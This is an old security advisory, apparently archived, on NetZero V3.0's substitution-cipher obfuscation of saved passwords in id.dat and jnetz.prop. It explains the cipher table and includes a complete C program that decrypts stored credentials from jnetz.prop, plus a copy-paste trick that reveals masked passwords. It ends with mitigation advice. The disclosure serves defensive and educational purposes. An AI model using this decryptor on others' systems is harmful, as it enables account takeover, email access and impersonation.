COMMAND

    NetZero

SYSTEMS AFFECTED

    NetZero V3.0 and earlier

PROBLEM

    Following is  based at  L0pht Research  Labs Security  Advisory by
    Brian  Carrier.    It  is  unfortunately   common  practice   that
    applications which allow  users to remember  their passwords as  a
    convenience  rarely  encrypt  them  but  instead  opt  to   simply
    obfuscate them.  This does not alter the fact that user perception
    and expectation,  for the  majority of  users at  least, is  often
    incorrectly  set.   Often  times  convenience  eschews security in
    these products.

    There are  dozens of  applications available  that make  this same
    mistake.   This advisory  is not  an attempt  to single one vendor
    out but rather continue to remind of the common problem of storing
    secrets and  the reliance  of simple  obfuscation.   If effort  is
    taken to obfuscate or hide  something then it must have  been seen
    as valuable to someone.  If not, why bother?  Much the way  buffer
    overflows abound so do simple obfuscation mechanisms.  As such, it
    is important to continue to bring them to light.

    Unfortunately it is  often the case  that the average  user places
    as much trust  in these as  stronger systems through  the apparent
    similarity in  user interface.   As suggested  by Aleph1,  the  MS
    CryptoAPI CryptoProectetData() and CryptUnprotectData()  functions
    currently allow applications to store secrets encrypted, based  on
    the user's  credentials.   Therefore, since  the methods currently
    exist for  secure data  storage, they  should be  utilized by  all
    applications  to  provide  users   with  a  consistent  level   of
    protection.

    This advisory is designed to  help people see ways of  looking at,
    and for, these sorts of problems.   Or even in being aware of  the
    situation, to view it as a non-problem.  Teaching someone to  fish
    rather  than  simply  providing  one  meal.   Enjoy  the classical
    substitution cipher.

    NetZero  is  a  service  that  provides  free  Internet  access to
    customers in exchange for the permission to advertise.   NetZero's
    users log  into the  network with  a login  and password  that are
    saved in an ASCII  text file on the  users system.  This  advisory
    addresses a weak encryption algorithm that is used to protect  the
    password from unauthorized access.

    In order for a NetZero account to be compromised, an attacker must
    have access to  the machine or  use another vulnerability  to read
    the  file.   Once  access  is  obtained,  the  attacker can easily
    determine the  user's NetZero  login and  password in  less than a
    seconds time.  Once the  login and password have been  determined,
    the attacker  can read  the users  email and  attack other systems
    under the users identity.

    This is a common problem in many services of this type.  One quick
    solution to  at least  minimize the  problem, should  this risk be
    deemed unacceptable, is to disable the _Save Password_ option.

    The login and password that  are required to log into  the NetZero
    network  are  stored  in  an  ASCII  file,  id.dat, in the NetZero
    directory.  If the user  chooses to have the application  save the
    password, then  jnetz.prop also  contains the  login and password.
    The password  in both  files is  encrypted using  a variation of a
    simple substitution cipher.

    The  classical  substitution  cipher  is  a 1-to-1 mapping between
    characters  where  each  plaintext  character  is  replaced by one
    ciphertext  character.   For  example,  let  P_i  be the plaintext
    character in location 'i' and  C_j be the ciphertext character  in
    location 'j', then C_i is the character that P_i maps to.

    The NetZero substitution cipher replaces each plaintext  character
    by two  ciphertext characters,  but the  two ciphertext characters
    are not  stored together.   When substituting  character P_i  of a
    password of length 'n', the first ciphertext character is C_i  and
    the second character is C_n+i.

    The two ciphertext characters are derived from the following table:

          | 1  a M Q f 7 g T 9 4 L W e 6 y C
        --+----------------------------------
        g | `  a b c d e f g h i j k l m n o
        T | p  q r s t u v w x y z { | } ~
        f | @  A B C D E F G H I J K L M N O
        7 | P  Q R S T U V W X Y Z [ \ ] ^ _
        Q | 0  1 2 3 4 5 6 7 8 9 : ; < = > ?
        M | SP ! " # $ % & ' ( ) * + , - . /

    The  characters  inside  the  table  represent the ASCII plaintext
    characters and SP represents a  space.  When encrypting a  string,
    P, of length 'n', find each  character in the table and place  the
    column header into C_i and place the row header into C_n+i.

    For example:

        E(a) = ag
        E(aa) = aagg
        E(aqAQ1!) = aaaaaagTf7QM
        E(`abcdefghijklmno) = 1aMQf7gT94LWe6yCgggggggggggggggg

    When decrypting a string, C, of length '2n', then P_i will be  the
    element in the above table where the column headed by C_i and  the
    row headed by C_n+i intersect.  For example:

        D(af) = A
        D(aaff) = AA
        D(aaMMQQfgfgfg) = AaBbCc

    The following code will demonstrate that the password is easily
    decrypted.  Simply uudecode, compile, and run in a directory that
    contains jnetz.prop.

    #include <stdio.h>
    #include <string.h>

    #define UID_SIZE	64
    #define PASS_CIPHER_SIZE	128
    #define PASS_PLAIN_SIZE	64
    #define BUF_SIZE 256

    const char decTable[6][16] = {
      {'`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o'},
      {'p','q','r','s','t','u','v','w','x','y','z','{','|','}','~',0},
      {'@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O'},
      {'P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_'},
      {'0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?'},
      {' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/'}
    };

    int nz_decrypt(char cCipherPass[PASS_CIPHER_SIZE],
      char cPlainPass[PASS_PLAIN_SIZE])
    {
	    int passLen, i, idx1, idx2;
	    passLen = strlen(cCipherPass)/2;

	    if (passLen > PASS_PLAIN_SIZE)
	    {
		    printf("Error: Plain text array too small\n");
		    return 1;
	    }

	    for (i = 0; i < passLen; i++)
	    {
		    switch(cCipherPass[i])
		    {
		    case '1':
			    idx2 = 0; break;
		    case 'a':
			    idx2 = 1; break;
		    case 'M':
			    idx2 = 2; break;
		    case 'Q':
			    idx2 = 3; break;
		    case 'f':
			    idx2 = 4; break;
		    case '7':
			    idx2 = 5; break;
		    case 'g':
			    idx2 = 6; break;
		    case 'T':
			    idx2 = 7; break;
		    case '9':
			    idx2 = 8; break;
		    case '4':
			    idx2 = 9; break;
		    case 'L':
			    idx2 = 10; break;
		    case 'W':
			    idx2 = 11; break;
		    case 'e':
			    idx2 = 12; break;
		    case '6':
			    idx2 = 13; break;
		    case 'y':
			    idx2 = 14; break;
		    case 'C':
			    idx2 = 15; break;
		    default:
			    printf("Error: Unknown Cipher Text index: %c\n", cCipherPass[i]);
			    return 1;
			    break;
		    }

		    switch(cCipherPass[i+passLen])
		    {
		    case 'g':
			    idx1 = 0; break;
		    case 'T':
			    idx1 = 1; break;
		    case 'f':
			    idx1 = 2; break;
		    case '7':
			    idx1 = 3; break;
		    case 'Q':
			    idx1 = 4; break;
		    case 'M':
			    idx1 = 5; break;
		    default:
			    printf("Error: Unknown Cipher Text Set: %c\n",
			      cCipherPass[i+passLen]);
			    return 1;
			    break;
		    }

		    cPlainPass[i] = decTable[idx1][idx2];
	    }
	    cPlainPass[i] = 0;

	    return 0;
    }

    int main(void)
    {
	    FILE *hParams;
	    char cBuffer[BUF_SIZE], cUID[UID_SIZE];
	    char cCipherPass[PASS_CIPHER_SIZE], cPlainPass[PASS_PLAIN_SIZE];
	    int done = 2;

	    printf("\nNet Zero Password Decryptor\n");
	    printf("Brian Carrier [bcarrier@atstake.com]\n");
	    printf("@Stake L0pht Research Labs\n");
	    printf("http://www.atstake.com\n\n");

	    if ((hParams = fopen("jnetz.prop","r")) == NULL)
	    {
		    printf("Unable to find jnetz.prop file\n");
		    return 1;
	    }

	    while ((fgets(cBuffer, BUF_SIZE, hParams) != NULL) && (done > 0))
	    {
		    if (strncmp(cBuffer, "ProfUID=", 8) == 0)
		    {
			    done--;
			    strncpy(cUID, cBuffer + 8, UID_SIZE);
			    printf("UserID: %s", cUID);
		    }

		    if (strncmp(cBuffer, "ProfPWD=", 8) == 0)
		    {
			    done--;
			    strncpy(cCipherPass, cBuffer + 8, PASS_CIPHER_SIZE);
			    printf("Encrypted Password: %s", cCipherPass);

			    if (nz_decrypt(cCipherPass, cPlainPass) != 0)
				    return 1;
			    else
				    printf("Plain Text Password: %s\n", cPlainPass);
		    }

	    }

	    fclose(hParams);

	    if (done > 0)
	    {
		    printf("Invalid jnetz.prop file\n");
		    return 1;
	    } else {
		    return 0;
	    }
    }

    'Intrepid|' added following.  You  can truly get the "password  in
    less than a seconds time" without knowledge of the algorithm.   No
    C  program  necessary.   Just  copy  and  paste  the password from
    NetZero's  logon  screen  into  pretty  much  any  text  or   word
    processing  program.   The  asterisks  will  be converted to plain
    text (Using NetZero Z3, version 3.0.4, on a Win98 box).

SOLUTION

    Exploitation  of  this  vulnerability  is  only  possible  once an
    attacker  has  gained  access  to  the id.dat or jnetz.prop files.
    Therefore,  NetZero  users  should  not  have the application save
    their password and they should  delete the id.dat file every  time
    they start the application.

    Vendor  has  acknowledged  receipt  of  the  advisory  and has not
    provided a response as to any actions they intend to take.

    It is unfortunately common practice that applications which  allow
    users to remember their passwords as a convenience rarely  encrypt
    them but instead opt to simply obfuscate them.  Actually, it's  an
    unfortunately (verging on  ridiculously) common practice  to think
    that there's any  difference between encoding  a password using  a
    fixed algorithm  and "encrypting"  a password  using a  fixed key.
    Certainly this point is accurate: encryption, even if it's  "real"
    encryption (3DES, Rijndael,  pick your favorite)  is only as  good
    as the secrecy of the key involved.   If the key is fixed, it's  a
    total pushover.   If the key  is stored "in  the same place"  (the
    same disk, the  same database, whatever)  as the ciphertext,  it's
    almost as much of a joke.